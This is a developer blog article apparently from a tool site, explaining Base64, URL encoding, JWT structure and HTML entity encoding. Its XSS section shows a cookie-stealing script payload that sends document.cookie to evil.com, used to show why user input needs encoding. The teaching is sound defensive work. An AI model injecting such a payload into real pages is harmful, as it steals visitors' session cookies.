Skip to main content
CalcHive
Developer GuidesMar 10, 20266 min read

Base64, URL Encoding, and JWT: A Developer's Quick Reference

When to use Base64 vs URL encoding, how JWTs actually work, and the encoding mistakes that break production APIs.

Encoding trips up developers more often than it should. You Base64-encode something that should have been URL-encoded, or you stuff a secret into a JWT thinking it's encrypted. This is the reference I wish I'd had when I started building APIs.

Base64: Binary Data Over Text Channels

Base64 takes binary data and re-encodes it using 64 ASCII-safe characters (A-Z, a-z, 0-9, +, /). Every 3 bytes of input become 4 characters of output, padded with = if the input length isn't divisible by 3.

That's it. It's not encryption. It's not compression. It makes binary safe to transmit over protocols that only handle text.

When you actually need Base64

  • Embedding images in HTML/CSS: Data URIs use Base64 to inline small images directly into markup. Saves an HTTP request for icons under ~2KB.
  • Sending binary over JSON: JSON has no binary type. If you need to send a file through a JSON API, Base64 is the standard approach.
  • Email attachments: MIME encoding uses Base64 to stuff files into what is fundamentally a text protocol.
  • HTTP Basic Auth: The credentials are Base64-encoded (not encrypted) in the Authorization header.

Here's what HTTP Basic Auth actually looks like:

// Credentials: username "admin", password "s3cret"
const credentials = btoa("admin:s3cret");
// Result: "YWRtaW46czNjcmV0"

// The header sent with the request:
Authorization: Basic YWRtaW46czNjcmV0

// Anyone can decode this:
atob("YWRtaW46czNjcmV0")
// "admin:s3cret"

Notice the problem? Anyone who intercepts that header can decode the credentials instantly. Basic Auth only makes sense over HTTPS. Try encoding and decoding strings yourself with the Base64 encoder/decoder.

URL Encoding: Making Special Characters Safe for URLs

URLs have reserved characters. & separates query parameters. = separates keys from values. / separates path segments. If your actual data contains these characters, the URL breaks.

URL encoding (percent-encoding) replaces unsafe characters with % followed by their hex value. A space becomes %20, an ampersand becomes %26.

The classic gotcha: URLs inside URLs

Say you're building an OAuth callback. You need to pass a redirect URL as a query parameter:

// WRONG - the & in the callback URL breaks the outer URL's parsing
https://auth.example.com/login?redirect=https://app.com/done?status=ok&token=abc

// The auth server sees these parameters:
//   redirect = "https://app.com/done?status=ok"
//   token = "abc"  (oops, this got pulled into the outer URL)

// RIGHT - encode the entire callback URL
const callback = encodeURIComponent("https://app.com/done?status=ok&token=abc");
// Result: "https%3A%2F%2Fapp.com%2Fdone%3Fstatus%3Dok%26token%3Dabc"

https://auth.example.com/login?redirect=https%3A%2F%2Fapp.com%2Fdone%3Fstatus%3Dok%26token%3Dabc

Use encodeURIComponent() for values going into query parameters. Use encodeURI() when you want to encode a full URL but keep the structure intact (it won't encode /, ?, &). You can test both with the URL encoder/decoder.

JWT: Not Encryption, Just Signed JSON

A JSON Web Token has three parts separated by dots: header.payload.signature. The first two are just Base64url-encoded JSON. The third is a cryptographic signature.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkphbmUgRG9lIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5MjAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

// Decoded header:
{
  "alg": "HS256",
  "typ": "JWT"
}

// Decoded payload:
{
  "sub": "1234567890",
  "name": "Jane Doe",
  "role": "admin",
  "iat": 1709200000
}

The signature proves the token hasn't been tampered with. The server that created the JWT signed it with a secret key (HMAC) or private key (RSA/ECDSA). When the token comes back, the server verifies the signature matches the payload.

The mistake everyone makes once

The payload is not encrypted. Anyone with the token can decode it and read every field. Do not put passwords, API keys, credit card numbers, or anything sensitive in a JWT payload. This is the single most common JWT misconception.

If you need to inspect a token during debugging, paste it into the JWT decoder to see the header and payload instantly.

When JWTs make sense

Stateless authentication. The server doesn't need to look up a session in a database. The token itself carries the user ID, role, and expiration. The tradeoff: you can't revoke individual tokens without adding server-side state (which defeats the purpose). For most apps, short-lived JWTs plus refresh tokens is the practical middle ground.

HTML Entity Encoding: XSS Prevention 101

If you render user input into HTML without encoding it, you're handing attackers a script injection vector.

// User submits this as their "name":
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

// Without encoding, that script executes in every visitor's browser.

// With HTML entity encoding:
&lt;script&gt;document.location=&#x27;https://evil.com/steal?cookie=&#x27;+document.cookie&lt;/script&gt;

// Now it renders as harmless text.

The key characters that need encoding: < becomes &lt;, > becomes &gt;, & becomes &amp;, " becomes &quot;, and ' becomes &#x27;.

Modern frameworks (React, Vue, Angular) encode by default when you use their templating syntax. The danger is when you bypass it -- React's dangerouslySetInnerHTML exists for a reason. You can test encoding with the HTML entity encoder.

Quick Decision Guide

ScenarioEncoding
Sending binary data over JSON or emailBase64
Putting a value in a URL query parameterURL encoding
Stateless auth tokensJWT (Base64url + signature)
Rendering user text in HTMLHTML entities
Verifying file integrityNot encoding -- use a SHA-256 hash

The core principle: encoding transforms data so it survives a specific transport layer. Pick the encoding that matches your transport, and remember that none of them are encryption.

More Articles

UK Take-Home Pay 2025/26: What Changed and What It Means for You

A breakdown of the 2025/26 tax year changes, frozen thresholds, fiscal drag, and worked examples showing your actual take-home pay at every salary level.

MD5, SHA-256, bcrypt: Which Hash Do You Actually Need?

A no-nonsense breakdown of hash functions. What each one does, when to use it, and the one you should never use for passwords.

JSON vs YAML vs CSV vs XML: Pick the Right Format

Each data format exists for a reason. Here's when to reach for each one, how to convert between them, and the gotchas that trip people up.

Regex Cheat Sheet: Common Patterns Every Developer Needs

A practical reference of regex patterns for email validation, password strength, phone numbers, dates, and more. Copy-paste examples included.

Understanding Cron Expressions: A Practical Guide

Learn cron syntax from the ground up. Covers the five-field format, common schedules, platform differences, and the mistakes that trip people up.

BMI Chart: What Your Number Actually Means

A clear explanation of BMI categories, the formula behind the number, the limitations of BMI, and when other health metrics are more useful.

Compound Interest Explained: How Your Money Grows Over Time

The compound interest formula broken down with real examples, the Rule of 72, and practical strategies for making compounding work in your favor.

UUID vs Nano ID vs CUID: Choosing the Right ID Format

Compare UUID v4, UUID v7, Nano ID, and CUID2. Learn the tradeoffs around length, sortability, collision resistance, and database performance.

Will You Ever Repay Your Student Loan? Here's How to Find Out

Most Plan 2 borrowers will never repay in full. Learn how UK student loan repayment works, see worked examples at different salaries, and find out whether overpaying makes sense.

Complete Guide to Metric and Imperial Conversions

Reference tables and mental math tricks for converting between metric and imperial units. Covers length, weight, temperature, volume, and area.